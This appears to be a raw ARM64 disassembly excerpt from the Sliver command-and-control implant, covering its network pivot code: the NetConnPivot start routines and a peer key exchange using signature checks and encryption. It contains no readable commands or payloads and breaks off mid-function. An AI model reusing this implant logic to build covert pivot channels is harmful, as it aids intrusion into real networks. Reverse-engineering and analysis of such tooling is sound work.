    0042d8e8ldr x5, [sp+240]
    0042d8ecstr x4, [x2+32]
    0042d8f0str x5, [x2+40]
    0042d8f4adrp x27, 0x61e000
    0042d8f8ldr w4, [x27+3056]
    0042d8fccbz w4, 0x42d904
    0042d900b 0x42d908
    0042d904
    0042d904loc_42d904:
    0042d904b 0x42d91c
    0042d908
    0042d908loc_42d908:
    0042d908bl runtime.gcWriteBarrier2
    0042d90cstr x3, [x25]
    0042d910ldr x4, [x2+24]
    0042d914str x4, [x25+8]
    0042d918b 0x42d91c
    0042d91c
    0042d91cloc_42d91c:
    0042d91cstr x3, [x2+24]
    0042d920ldr x2, [sp+192]
    0042d924str x2, [sp+200]
    0042d928ldr x2, [sp+152]
    0042d92cldrsb x27, [x2]
    0042d930ldr x0, [x2+64]
    0042d934str x0, [sp+328]
    0042d938add x1, sp, 200
    0042d93cbl runtime.chansend1
    0042d940b 0x42d944
    0042d944
    0042d944loc_42d944:
    0042d944b 0x42d948
    0042d948
    0042d948loc_42d948:
    0042d948b 0x42d9e8
    0042d94c
    0042d94cloc_42d94c:
    0042d94cadd x27, sp, 560
    0042d950stp xzr, xzr, [x27]
    0042d954add x1, sp, 560
    0042d958str x1, [sp+296]
    0042d95cldr x1, [sp+192]
    0042d960ldrsb x27, [x1]
    0042d964ldr w0, [x1+16]
    0042d968str w0, [sp+88]
    0042d96cbl runtime.convT32
    0042d970str x0, [sp+288]
    0042d974ldr x1, [sp+296]
    0042d978ldrsb x27, [x1]
    0042d97cadrp x2, 0x1c8000
    0042d980add x2, x2, 3328
    0042d984str x2, [x1]
    0042d988adrp x27, 0x61e000
    0042d98cldr w2, [x27+3056]
    0042d990cbz w2, 0x42d998
    0042d994b 0x42d99c
    0042d998
    0042d998loc_42d998:
    0042d998b 0x42d9b0
    0042d99c
    0042d99cloc_42d99c:
    0042d99cbl runtime.gcWriteBarrier2
    0042d9a0str x0, [x25]
    0042d9a4ldr x5, [x1+8]
    0042d9a8str x5, [x25+8]
    0042d9acb 0x42d9b0
    0042d9b0
    0042d9b0loc_42d9b0:
    0042d9b0str x0, [x1+8]
    0042d9b4ldr x2, [sp+296]
    0042d9b8ldrsb x27, [x2]
    0042d9bcb 0x42d9c0
    0042d9c0
    0042d9c0loc_42d9c0:
    0042d9c0str x2, [sp+304]
    0042d9c4orr x4, xzr, 1
    0042d9c8str x4, [sp+312]
    0042d9ccstr x4, [sp+320]
    0042d9d0adrp x0, 0x29e000
    0042d9d4add x0, x0, 1634
    0042d9d8orr x1, xzr, 56
    0042d9dcmov x3, x4
    0042d9e0bl log.Printf
    0042d9e4b 0x42d9e8
    0042d9e8
    0042d9e8loc_42d9e8:
    0042d9e8b 0x42d380
    0042d9ec
    0042d9ecloc_42d9ec:
    0042d9ecmov x3, x30
    0042d9f0bl runtime.morestack.abi0
    0042d9f4b 0x42d2d0
    0042d9f8udf 0
    0042d9fcudf 0
    0042d2d0
    0042da00
    0042da00github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func2.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func2.deferwrap1(void)
    0042da00ldr x16, [x28+16]
    0042da04subs xzr, sp, x16
    0042da08b.ls 0x42da38
    0042da0cstr x30, [sp-32]!
    0042da10stur x29, [sp-8]
    0042da14sub x29, sp, 8
    0042da18ldr x16, [x28+32]
    0042da1ccbnz x16, 0x42da44
    0042da20
    0042da20loc_42da20:
    0042da20ldr x0, [x26+8]
    0042da24str x0, [sp+16]
    0042da28bl runtime.closechan
    0042da2cldur x29, [sp-8]
    0042da30ldr x30, [sp], 32
    0042da34ret x30
    0042da38
    0042da38loc_42da38:
    0042da38mov x3, x30
    0042da3cbl runtime.morestack.abi0
    0042da40b 0x42da00
    0042da44
    0042da44loc_42da44:
    0042da44ldr x17, [x16]
    0042da48add x20, sp, 40
    0042da4csubs xzr, x20, x17
    0042da50b.ne 0x42da20
    0042da54add x20, sp, 8
    0042da58str x20, [x16]
    0042da5cb 0x42da20
    0042da00
    0042da60
    0042da60github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.deferwrap1(void)
    0042da60ldr x16, [x28+16]
    0042da64subs xzr, sp, x16
    0042da68b.ls 0x42daac
    0042da6cstr x30, [sp-64]!
    0042da70stur x29, [sp-8]
    0042da74sub x29, sp, 8
    0042da78ldr x16, [x28+32]
    0042da7ccbnz x16, 0x42dab8
    0042da80
    0042da80loc_42da80:
    0042da80ldr x3, [x26+8]
    0042da84str x3, [sp+48]
    0042da88ldr x1, [x26+16]
    0042da8cldr x2, [x26+24]
    0042da90str x1, [sp+32]
    0042da94str x2, [sp+40]
    0042da98ldr x0, [sp+48]
    0042da9cbl sync.(*Map).Delete
    0042daa0ldur x29, [sp-8]
    0042daa4ldr x30, [sp], 64
    0042daa8ret x30
    0042daac
    0042daacloc_42daac:
    0042daacmov x3, x30
    0042dab0bl runtime.morestack.abi0
    0042dab4b 0x42da60
    0042dab8
    0042dab8loc_42dab8:
    0042dab8ldr x17, [x16]
    0042dabcadd x20, sp, 72
    0042dac0subs xzr, x20, x17
    0042dac4b.ne 0x42da80
    0042dac8add x20, sp, 8
    0042daccstr x20, [x16]
    0042dad0b 0x42da80
    0042dad4udf 0
    0042dad8udf 0
    0042dadcudf 0
    0042da60
    0042dae0
    0042dae0github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).Start.func1(void)
    0042dae0ldr x16, [x28+16]
    0042dae4subs xzr, sp, x16
    0042dae8b.ls 0x42db24
    0042daecstr x30, [sp-32]!
    0042daf0stur x29, [sp-8]
    0042daf4sub x29, sp, 8
    0042daf8ldr x1, [x26+8]
    0042dafcstr x1, [sp+16]
    0042db00ldrsb x27, [x1]
    0042db04ldr x2, [x1+8]
    0042db08ldrsb x27, [x2]
    0042db0cldr x0, [x1+16]
    0042db10ldr x1, [x2+24]
    0042db14blr x1
    0042db18ldur x29, [sp-8]
    0042db1cldr x30, [sp], 32
    0042db20ret x30
    0042db24
    0042db24loc_42db24:
    0042db24mov x3, x30
    0042db28bl runtime.morestack.abi0
    0042db2cb 0x42dae0
    0042dae0
    0042db30
    0042db30github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).peerKeyExchange: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).peerKeyExchange(github.com/bishopfox/sliver/implant/sliver/pivots.NetConnPivot * p)
    0042db30ldr x16, [x28+16]
    0042db34sub x17, sp, 720
    0042db38subs xzr, x17, x16
    0042db3cb.ls 0x42e524
    0042db40sub x20, sp, 848
    0042db44stp x29, x30, [x20-8]
    0042db48add sp, x20, 0
    0042db4csub x29, sp, 8
    0042db50str x0, [sp+856]
    0042db54stp xzr, xzr, [sp+80]
    0042db58bl time.Now
    0042db5cstr x0, [sp+728]
    0042db60str x1, [sp+736]
    0042db64str x2, [sp+744]
    0042db68adrp x27, 0x593000
    0042db6cldr x3, [x27+1760]
    0042db70bl time.Time.Add
    0042db74str x0, [sp+704]
    0042db78str x1, [sp+712]
    0042db7cstr x2, [sp+720]
    0042db80ldr x3, [sp+856]
    0042db84ldrsb x27, [x3]
    0042db88ldr x4, [x3+8]
    0042db8cldrsb x27, [x4]
    0042db90ldr x3, [x3+16]
    0042db94ldr x4, [x4+64]
    0042db98mov x5, x0
    0042db9cmov x0, x3
    0042dba0mov x6, x1
    0042dba4mov x1, x5
    0042dba8mov x7, x2
    0042dbacmov x2, x6
    0042dbb0mov x3, x7
    0042dbb4blr x4
    0042dbb8str xzr, [sp+680]
    0042dbbcadd x27, sp, 688
    0042dbc0stp xzr, xzr, [x27]
    0042dbc4add x27, sp, 664
    0042dbc8stp xzr, xzr, [x27]
    0042dbccldr x0, [sp+856]
    0042dbd0bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).read
    0042dbd4str x0, [sp+680]
    0042dbd8str x1, [sp+688]
    0042dbdcstr x2, [sp+696]
    0042dbe0str x3, [sp+664]
    0042dbe4str x4, [sp+672]
    0042dbe8ldr x0, [sp+680]
    0042dbecldr x1, [sp+688]
    0042dbf0ldr x2, [sp+696]
    0042dbf4str x0, [sp+312]
    0042dbf8str x1, [sp+320]
    0042dbfcstr x2, [sp+328]
    0042dc00ldr x0, [sp+664]
    0042dc04ldr x1, [sp+672]
    0042dc08str x0, [sp+192]
    0042dc0cstr x1, [sp+200]
    0042dc10ldr x0, [sp+312]
    0042dc14ldr x1, [sp+320]
    0042dc18ldr x2, [sp+328]
    0042dc1cstr x0, [sp+120]
    0042dc20str x1, [sp+128]
    0042dc24str x2, [sp+136]
    0042dc28ldr x0, [sp+192]
    0042dc2cldr x1, [sp+200]
    0042dc30str x0, [sp+152]
    0042dc34str x1, [sp+160]
    0042dc38add x27, sp, 584
    0042dc3cstp xzr, xzr, [x27]
    0042dc40str xzr, [sp+600]
    0042dc44ldr x0, [sp+856]
    0042dc48ldrsb x27, [x0]
    0042dc4cldr x1, [x0+8]
    0042dc50ldrsb x27, [x1]
    0042dc54ldr x0, [x0+16]
    0042dc58ldr x1, [x1+64]
    0042dc5cmov x2, xzr
    0042dc60mov x3, xzr
    0042dc64mov x4, x1
    0042dc68mov x1, xzr
    0042dc6cblr x4
    0042dc70ldr x0, [sp+152]
    0042dc74cbnz x0, 0x42dc7c
    0042dc78b 0x42dd54
    0042dc7c
    0042dc7cloc_42dc7c:
    0042dc7cadd x27, sp, 648
    0042dc80stp xzr, xzr, [x27]
    0042dc84add x5, sp, 648
    0042dc88str x5, [sp+552]
    0042dc8cldr x5, [sp+152]
    0042dc90ldr x6, [sp+160]
    0042dc94str x5, [sp+536]
    0042dc98str x6, [sp+544]
    0042dc9cstr x5, [sp+528]
    0042dca0ldr x5, [sp+528]
    0042dca4cbnz x5, 0x42dcac
    0042dca8b 0x42dcbc
    0042dcac
    0042dcacloc_42dcac:
    0042dcacldr x5, [sp+528]
    0042dcb0ldr x5, [x5+8]
    0042dcb4str x5, [sp+528]
    0042dcb8b 0x42dcc0
    0042dcbc
    0042dcbcloc_42dcbc:
    0042dcbcb 0x42dcc0
    0042dcc0
    0042dcc0loc_42dcc0:
    0042dcc0ldr x5, [sp+552]
    0042dcc4ldrsb x27, [x5]
    0042dcc8ldr x6, [sp+528]
    0042dcccldr x7, [sp+544]
    0042dcd0str x6, [x5]
    0042dcd4adrp x27, 0x61e000
    0042dcd8ldr w6, [x27+3056]
    0042dcdccbz w6, 0x42dce4
    0042dce0b 0x42dce8
    0042dce4
    0042dce4loc_42dce4:
    0042dce4b 0x42dcfc
    0042dce8
    0042dce8loc_42dce8:
    0042dce8bl runtime.gcWriteBarrier2
    0042dcecstr x7, [x25]
    0042dcf0ldr x6, [x5+8]
    0042dcf4str x6, [x25+8]
    0042dcf8b 0x42dcfc
    0042dcfc
    0042dcfcloc_42dcfc:
    0042dcfcstr x7, [x5+8]
    0042dd00ldr x2, [sp+552]
    0042dd04ldrsb x27, [x2]
    0042dd08b 0x42dd0c
    0042dd0c
    0042dd0cloc_42dd0c:
    0042dd0cstr x2, [sp+560]
    0042dd10orr x4, xzr, 1
    0042dd14str x4, [sp+568]
    0042dd18str x4, [sp+576]
    0042dd1cadrp x0, 0x28f000
    0042dd20add x0, x0, 1555
    0042dd24movz x1, 29
    0042dd28mov x3, x4
    0042dd2cbl log.Printf
    0042dd30adrp x27, 0x5f4000
    0042dd34ldr x0, [x27+1376]
    0042dd38adrp x27, 0x5f4000
    0042dd3cldr x1, [x27+1384]
    0042dd40str x0, [sp+80]
    0042dd44str x1, [sp+88]
    0042dd48ldp x29, x30, [sp-8]
    0042dd4cadd sp, sp, 848
    0042dd50ret x30
    0042dd54
    0042dd54loc_42dd54:
    0042dd54adrp x0, 0x258000
    0042dd58add x0, x0, 1056
    0042dd5cbl runtime.newobject
    0042dd60str x0, [sp+520]
    0042dd64adrp x27, 0x61e000
    0042dd68ldr w1, [x27+3056]
    0042dd6ccbz w1, 0x42dd74
    0042dd70b 0x42dd78
    0042dd74
    0042dd74loc_42dd74:
    0042dd74b 0x42dd94
    0042dd78
    0042dd78loc_42dd78:
    0042dd78str x0, [sp+208]
    0042dd7cmov x1, x0
    0042dd80adrp x0, 0x258000
    0042dd84add x0, x0, 1056
    0042dd88bl runtime.wbZero
    0042dd8cldr x0, [sp+208]
    0042dd90b 0x42dd94
    0042dd94
    0042dd94loc_42dd94:
    0042dd94mov x20, x0
    0042dd98adr x27, 16
    0042dd9cstp x29, x27, [sp-24]
    0042dda0sub x29, sp, 24
    0042dda4bl fn_87cf4
    0042dda8sub x29, sp, 8
    0042ddacldr x4, [sp+520]
    0042ddb0str x4, [sp+144]
    0042ddb4str x4, [sp+640]
    0042ddb8ldr x1, [sp+128]
    0042ddbcldr x2, [sp+136]
    0042ddc0ldr x0, [sp+120]
    0042ddc4adrp x3, 0x2e7000
    0042ddc8add x3, x3, 1216
    0042ddccbl google.golang.org/protobuf/proto.Unmarshal
    0042ddd0str x0, [sp+152]
    0042ddd4str x1, [sp+160]
    0042ddd8cbnz x0, 0x42dde0
    0042dddcb 0x42deb8
    0042dde0
    0042dde0loc_42dde0:
    0042dde0add x27, sp, 648
    0042dde4stp xzr, xzr, [x27]
    0042dde8add x5, sp, 648
    0042ddecstr x5, [sp+488]
    0042ddf0ldr x5, [sp+152]
    0042ddf4ldr x6, [sp+160]
    0042ddf8str x5, [sp+472]
    0042ddfcstr x6, [sp+480]
    0042de00str x5, [sp+464]
    0042de04ldr x5, [sp+464]
    0042de08cbnz x5, 0x42de10
    0042de0cb 0x42de20
    0042de10
    0042de10loc_42de10:
    0042de10ldr x5, [sp+464]
    0042de14ldr x5, [x5+8]
    0042de18str x5, [sp+464]
    0042de1cb 0x42de24
    0042de20
    0042de20loc_42de20:
    0042de20b 0x42de24
    0042de24
    0042de24loc_42de24:
    0042de24ldr x5, [sp+488]
    0042de28ldrsb x27, [x5]
    0042de2cldr x6, [sp+480]
    0042de30ldr x7, [sp+464]
    0042de34str x7, [x5]
    0042de38adrp x27, 0x61e000
    0042de3cldr w7, [x27+3056]
    0042de40cbz w7, 0x42de48
    0042de44b 0x42de4c
    0042de48
    0042de48loc_42de48:
    0042de48b 0x42de60
    0042de4c
    0042de4cloc_42de4c:
    0042de4cbl runtime.gcWriteBarrier2
    0042de50str x6, [x25]
    0042de54ldr x7, [x5+8]
    0042de58str x7, [x25+8]
    0042de5cb 0x42de60
    0042de60
    0042de60loc_42de60:
    0042de60str x6, [x5+8]
    0042de64ldr x2, [sp+488]
    0042de68ldrsb x27, [x2]
    0042de6cb 0x42de70
    0042de70
    0042de70loc_42de70:
    0042de70str x2, [sp+496]
    0042de74orr x4, xzr, 1
    0042de78str x4, [sp+504]
    0042de7cstr x4, [sp+512]
    0042de80adrp x0, 0x28f000
    0042de84add x0, x0, 1584
    0042de88movz x1, 29
    0042de8cmov x3, x4
    0042de90bl log.Printf
    0042de94adrp x27, 0x5f4000
    0042de98ldr x0, [x27+1376]
    0042de9cadrp x27, 0x5f4000
    0042dea0ldr x1, [x27+1384]
    0042dea4str x0, [sp+80]
    0042dea8str x1, [sp+88]
    0042deacldp x29, x30, [sp-8]
    0042deb0add sp, sp, 848
    0042deb4ret x30
    0042deb8
    0042deb8loc_42deb8:
    0042deb8ldr x5, [sp+144]
    0042debcldrsb x27, [x5]
    0042dec0ldr x6, [x5+8]
    0042dec4ldr x7, [x5+16]
    0042dec8ldr x5, [x5+24]
    0042deccstr x6, [sp+440]
    0042ded0str x7, [sp+448]
    0042ded4str x5, [sp+456]
    0042ded8ldr x5, [sp+144]
    0042dedcldrsb x27, [x5]
    0042dee0ldr x3, [x5+40]
    0042dee4ldr x4, [x5+48]
    0042dee8str x3, [sp+424]
    0042deecstr x4, [sp+432]
    0042def0ldr x0, [sp+440]
    0042def4ldr x1, [sp+448]
    0042def8ldr x2, [sp+456]
    0042defcbl github.com/bishopfox/sliver/implant/sliver/cryptography.MinisignVerify
    0042df00strb w0, [sp+79]
    0042df04tbnz w0, 0, 0x42df0c
    0042df08b 0x42e4e4
    0042df0c
    0042df0cloc_42df0c:
    0042df0cldr x1, [sp+856]
    0042df10ldrsb x27, [x1]
    0042df14ldr x2, [sp+144]
    0042df18ldrsb x27, [x2]
    0042df1cldr x2, [x2+32]
    0042df20str x2, [x1]
    0042df24adrp x0, 0x1d0000
    0042df28add x0, x0, 2240
    0042df2cbl runtime.newobject
    0042df30str x0, [sp+832]
    0042df34bl github.com/bishopfox/sliver/implant/sliver/cryptography.RandomSymmetricKey
    0042df38ldp x1, x2, [sp+8]
    0042df3cldp x3, x4, [sp+24]
    0042df40ldr x5, [sp+832]
    0042df44stp x1, x2, [x5]
    0042df48stp x3, x4, [x5+16]
    0042df4cldr x1, [sp+832]
    0042df50ldp x2, x3, [x1]
    0042df54ldp x1, x4, [x1+16]
    0042df58stp x2, x3, [sp+8]
    0042df5cstp x1, x4, [sp+24]
    0042df60bl github.com/bishopfox/sliver/implant/sliver/cryptography.NewCipherContext
    0042df64str x0, [sp+632]
    0042df68ldr x1, [sp+856]
    0042df6cldrsb x27, [x1]
    0042df70adrp x27, 0x61e000
    0042df74ldr w2, [x27+3056]
    0042df78cbz w2, 0x42df80
    0042df7cb 0x42df84
    0042df80
    0042df80loc_42df80:
    0042df80b 0x42df98
    0042df84
    0042df84loc_42df84:
    0042df84bl runtime.gcWriteBarrier2
    0042df88str x0, [x25]
    0042df8cldr x8, [x1+40]
    0042df90str x8, [x25+8]
    0042df94b 0x42df98
    0042df98
    0042df98loc_42df98:
    0042df98str x0, [x1+40]
    0042df9cldr x8, [sp+832]
    0042dfa0ldrsb x27, [x8]
    0042dfa4b 0x42dfa8
    0042dfa8
    0042dfa8loc_42dfa8:
    0042dfa8str x8, [sp+680]
    0042dfacorr x8, xzr, 32
    0042dfb0str x8, [sp+688]
    0042dfb4str x8, [sp+696]
    0042dfb8str xzr, [sp+608]
    0042dfbcadd x27, sp, 616
    0042dfc0stp xzr, xzr, [x27]
    0042dfc4add x27, sp, 664
    0042dfc8stp xzr, xzr, [x27]
    0042dfccldr x8, [sp+144]
    0042dfd0ldrsb x27, [x8]
    0042dfd4ldr x9, [x8+8]
    0042dfd8ldr x10, [x8+16]
    0042dfdcldr x8, [x8+24]
    0042dfe0str x9, [sp+400]
    0042dfe4str x10, [sp+408]
    0042dfe8str x8, [sp+416]
    0042dfecldr x8, [sp+144]
    0042dff0ldrsb x27, [x8]
    0042dff4ldr x3, [x8+40]
    0042dff8ldr x4, [x8+48]
    0042dffcstr x3, [sp+384]
    0042e000str x4, [sp+392]
    0042e004ldr x0, [sp+400]
    0042e008ldr x1, [sp+408]
    0042e00cldr x2, [sp+416]
    0042e010ldr x5, [sp+680]
    0042e014ldr x6, [sp+688]
    0042e018ldr x7, [sp+696]
    0042e01cbl github.com/bishopfox/sliver/implant/sliver/cryptography.AgeEncryptToPeer
    0042e020str x0, [sp+608]
    0042e024str x1, [sp+616]
    0042e028str x2, [sp+624]
    0042e02cstr x3, [sp+664]
    0042e030str x4, [sp+672]
    0042e034ldr x8, [sp+608]
    0042e038ldr x9, [sp+616]
    0042e03cldr x10, [sp+624]
    0042e040str x8, [sp+808]
    0042e044str x9, [sp+816]
    0042e048str x10, [sp+824]
    0042e04cldr x8, [sp+664]
    0042e050ldr x9, [sp+672]
    0042e054str x8, [sp+792]
    0042e058str x9, [sp+800]
    0042e05cldr x8, [sp+808]
    0042e060ldr x9, [sp+816]
    0042e064ldr x10, [sp+824]
    0042e068str x8, [sp+168]
    0042e06cstr x9, [sp+176]
    0042e070str x10, [sp+184]
    0042e074ldr x8, [sp+800]
    0042e078ldr x9, [sp+792]
    0042e07cstr x9, [sp+152]
    0042e080str x8, [sp+160]
    0042e084cbnz x9, 0x42e08c
    0042e088b 0x42e164
    0042e08c
    0042e08cloc_42e08c:
    0042e08cadd x27, sp, 648
    0042e090stp xzr, xzr, [x27]
    0042e094add x5, sp, 648
    0042e098str x5, [sp+352]
    0042e09cldr x5, [sp+152]
    0042e0a0ldr x6, [sp+160]
    0042e0a4str x5, [sp+336]
    0042e0a8str x6, [sp+344]
    0042e0acstr x5, [sp+304]
    0042e0b0ldr x5, [sp+304]
    0042e0b4cbnz x5, 0x42e0bc
    0042e0b8b 0x42e0cc
    0042e0bc
    0042e0bcloc_42e0bc:
    0042e0bcldr x5, [sp+304]
    0042e0c0ldr x5, [x5+8]
    0042e0c4str x5, [sp+304]
    0042e0c8b 0x42e0d0
    0042e0cc
    0042e0ccloc_42e0cc:
    0042e0ccb 0x42e0d0
    0042e0d0
    0042e0d0loc_42e0d0:
    0042e0d0ldr x5, [sp+352]
    0042e0d4ldrsb x27, [x5]
    0042e0d8ldr x6, [sp+344]
    0042e0dcldr x7, [sp+304]
    0042e0e0str x7, [x5]
    0042e0e4adrp x27, 0x61d000
    0042e0e8ldr w7, [x27+3056]
    0042e0eccbz w7, 0x42e0f4
    0042e0f0b 0x42e0f8
    0042e0f4
    0042e0f4loc_42e0f4:
    0042e0f4b 0x42e10c
    0042e0f8
    0042e0f8loc_42e0f8:
    0042e0f8bl runtime.gcWriteBarrier2
    0042e0fcstr x6, [x25]
    0042e100ldr x7, [x5+8]
    0042e104str x7, [x25+8]
    0042e108b 0x42e10c
    0042e10c
    0042e10cloc_42e10c:
    0042e10cstr x6, [x5+8]
    0042e110ldr x2, [sp+352]
    0042e114ldrsb x27, [x2]
    0042e118b 0x42e11c
    0042e11c
    0042e11cloc_42e11c:
    0042e11cstr x2, [sp+360]
    0042e120orr x4, xzr, 1
    0042e124str x4, [sp+368]
    0042e128str x4, [sp+376]
    0042e12cadrp x0, 0x292000
    0042e130add x0, x0, 2596
    0042e134movz x1, 35
    0042e138mov x3, x4
    0042e13cbl log.Printf
    0042e140adrp x27, 0x5f3000
    0042e144ldr x0, [x27+1376]
    0042e148adrp x27, 0x5f3000
    0042e14cldr x1, [x27+1384]
    0042e150str x0, [sp+80]
    0042e154str x1, [sp+88]
    0042e158ldp x29, x30, [sp-8]
    0042e15cadd sp, sp, 848
    0042e160ret x30
    0042e164
    0042e164loc_42e164:
    0042e164adrp x27, 0x5df000
    0042e168ldr x1, [x27+2912]
    0042e16cadrp x27, 0x5df000
    0042e170ldr x2, [x27+2920]
    0042e174mov x0, xzr
    0042e178bl runtime.stringtoslicebyte
    0042e17cstr x0, [sp+608]
    0042e180str x1, [sp+616]
    0042e184str x2, [sp+624]
    0042e188adrp x0, 0x257000
    0042e18cadd x0, x0, 1056
    0042e190bl runtime.newobject
    0042e194str x0, [sp+296]
    0042e198adrp x27, 0x61d000
    0042e19cldr w3, [x27+3056]
    0042e1a0cbz w3, 0x42e1a8
    0042e1a4b 0x42e1ac
    0042e1a8
    0042e1a8loc_42e1a8:
    0042e1a8b 0x42e1c8
    0042e1ac
    0042e1acloc_42e1ac:
    0042e1acstr x0, [sp+208]
    0042e1b0mov x1, x0
    0042e1b4adrp x0, 0x257000
    0042e1b8add x0, x0, 1056
    0042e1bcbl runtime.wbZero
    0042e1c0ldr x0, [sp+208]
    0042e1c4b 0x42e1c8
    0042e1c8
    0042e1c8loc_42e1c8:
    0042e1c8mov x20, x0
    0042e1ccadr x27, 16
    0042e1d0stp x29, x27, [sp-24]
    0042e1d4sub x29, sp, 24
    0042e1d8bl fn_87cf4
    0042e1dcsub x29, sp, 8
    0042e1e0ldr x2, [sp+296]
    0042e1e4ldrsb x27, [x2]
    0042e1e8ldr x3, [sp+608]
    0042e1ecldr x4, [sp+616]
    0042e1f0ldr x5, [sp+624]
    0042e1f4str x4, [x2+16]
    0042e1f8str x5, [x2+24]
    0042e1fcadrp x27, 0x61d000
    0042e200ldr w4, [x27+3056]
    0042e204cbz w4, 0x42e20c
    0042e208b 0x42e210
    0042e20c
    0042e20cloc_42e20c:
    0042e20cb 0x42e224
    0042e210
    0042e210loc_42e210:
    0042e210bl runtime.gcWriteBarrier2
    0042e214str x3, [x25]
    0042e218ldr x4, [x2+8]
    0042e21cstr x4, [x25+8]
    0042e220b 0x42e224
    0042e224
    0042e224loc_42e224:
    0042e224str x3, [x2+8]
    0042e228ldr x2, [sp+296]
    0042e22cldrsb x27, [x2]
    0042e230adrp x27, 0x5df000
    0042e234ldr x3, [x27+2928]
    0042e238adrp x27, 0x5df000
    0042e23cldr x4, [x27+2936]
    0042e240str x4, [x2+48]
    0042e244adrp x27, 0x61d000
    0042e248ldr w4, [x27+3056]
    0042e24ccbz w4, 0x42e254
    0042e250b 0x42e258
    0042e254
    0042e254loc_42e254:
    0042e254b 0x42e26c
    0042e258
    0042e258loc_42e258:
    0042e258bl runtime.gcWriteBarrier2
    0042e25cstr x3, [x25]
    0042e260ldr x4, [x2+40]
    0042e264str x4, [x25+8]
    0042e268b 0x42e26c
    0042e26c
    0042e26cloc_42e26c:
    0042e26cstr x3, [x2+40]
    0042e270ldr x2, [sp+296]
    0042e274ldrsb x27, [x2]
    0042e278ldr x3, [sp+168]
    0042e27cldr x4, [sp+176]
    0042e280ldr x5, [sp+184]
    0042e284str x4, [x2+64]
    0042e288str x5, [x2+72]
    0042e28cadrp x27, 0x61d000
    0042e290ldr w4, [x27+3056]
    0042e294cbz w4, 0x42e29c
    0042e298b 0x42e2a0
    0042e29c
    0042e29cloc_42e29c:
    0042e29cb 0x42e2b4
    0042e2a0
    0042e2a0loc_42e2a0:
    0042e2a0bl runtime.gcWriteBarrier2
    0042e2a4str x3, [x25]
    0042e2a8ldr x4, [x2+56]
    0042e2acstr x4, [x25+8]
    0042e2b0b 0x42e2b4
    0042e2b4
    0042e2b4loc_42e2b4:
    0042e2b4str x3, [x2+56]
    0042e2b8ldr x2, [sp+296]
    0042e2bcstr x2, [sp+640]
    0042e2c0add x27, sp, 680
    0042e2c4stp xzr, xzr, [x27]
    0042e2c8str xzr, [sp+696]
    0042e2ccadd x27, sp, 664
    0042e2d0stp xzr, xzr, [x27]
    0042e2d4ldr x1, [sp+640]
    0042e2d8adrp x0, 0x2e6000
    0042e2dcadd x0, x0, 1216
    0042e2e0bl google.golang.org/protobuf/proto.Marshal
    0042e2e4str x0, [sp+680]
    0042e2e8str x1, [sp+688]
    0042e2ecstr x2, [sp+696]
    0042e2f0str x3, [sp+664]
    0042e2f4str x4, [sp+672]
    0042e2f8ldr x2, [sp+680]
    0042e2fcldr x3, [sp+688]
    0042e300ldr x4, [sp+696]
    0042e304str x2, [sp+768]
    0042e308str x3, [sp+776]
    0042e30cstr x4, [sp+784]
    0042e310ldr x2, [sp+664]
    0042e314ldr x3, [sp+672]
    0042e318str x2, [sp+752]
    0042e31cstr x3, [sp+760]
    0042e320ldr x2, [sp+768]
    0042e324ldr x3, [sp+776]
    0042e328ldr x4, [sp+784]
    0042e32cstr x2, [sp+96]
    0042e330str x3, [sp+104]
    0042e334str x4, [sp+112]
    0042e338bl time.Now
    0042e33cstr x0, [sp+704]
    0042e340str x1, [sp+712]
    0042e344str x2, [sp+720]
    0042e348adrp x27, 0x592000
    0042e34cldr x3, [x27+1768]
    0042e350bl time.Time.Add
    0042e354str x0, [sp+728]
    0042e358str x1, [sp+736]
    0042e35cstr x2, [sp+744]
    0042e360ldr x3, [sp+856]
    0042e364ldrsb x27, [x3]
    0042e368ldr x4, [x3+8]
    0042e36cldrsb x27, [x4]
    0042e370ldr x3, [x3+16]
    0042e374ldr x4, [x4+72]
    0042e378mov x5, x0
    0042e37cmov x0, x3
    0042e380mov x6, x1
    0042e384mov x1, x5
    0042e388mov x7, x2
    0042e38cmov x2, x6
    0042e390mov x3, x7
    0042e394blr x4
    0042e398ldr x1, [sp+96]
    0042e39cldr x2, [sp+104]
    0042e3a0ldr x3, [sp+112]
    0042e3a4ldr x0, [sp+856]
    0042e3a8bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).write
    0042e3acstr x0, [sp+152]
    0042e3b0str x1, [sp+160]
    0042e3b4stp xzr, xzr, [sp+272]
    0042e3b8str xzr, [sp+288]
    0042e3bcldr x2, [sp+856]
    0042e3c0ldrsb x27, [x2]
    0042e3c4ldr x3, [x2+8]
    0042e3c8ldrsb x27, [x3]
    0042e3ccldr x0, [x2+16]
    0042e3d0ldr x2, [x3+72]
    0042e3d4mov x1, xzr
    0042e3d8mov x3, xzr
    0042e3dcmov x4, x2
    0042e3e0mov x2, xzr
    0042e3e4blr x4
    0042e3e8ldr x2, [sp+152]
    0042e3eccbnz x2, 0x42e3f4
    0042e3f0b 0x42e4cc
    0042e3f4
    0042e3f4loc_42e3f4:
    0042e3f4add x27, sp, 648
    0042e3f8stp xzr, xzr, [x27]
    0042e3fcadd x5, sp, 648
    0042e400str x5, [sp+240]
    0042e404ldr x5, [sp+152]
    0042e408ldr x6, [sp+160]
    0042e40cstr x5, [sp+224]
    0042e410str x6, [sp+232]
    0042e414str x5, [sp+216]
    0042e418ldr x5, [sp+216]
    0042e41ccbnz x5, 0x42e424
    0042e420b 0x42e434
    0042e424
    0042e424loc_42e424:
    0042e424ldr x5, [sp+216]
    0042e428ldr x5, [x5+8]
    0042e42cstr x5, [sp+216]
    0042e430b 0x42e438
    0042e434
    0042e434loc_42e434:
    0042e434b 0x42e438
    0042e438
    0042e438loc_42e438:
    0042e438ldr x5, [sp+240]
    0042e43cldrsb x27, [x5]
    0042e440ldr x6, [sp+232]
    0042e444ldr x7, [sp+216]
    0042e448str x7, [x5]
    0042e44cadrp x27, 0x61d000
    0042e450ldr w7, [x27+3056]
    0042e454cbz w7, 0x42e45c
    0042e458b 0x42e460
    0042e45c
    0042e45cloc_42e45c:
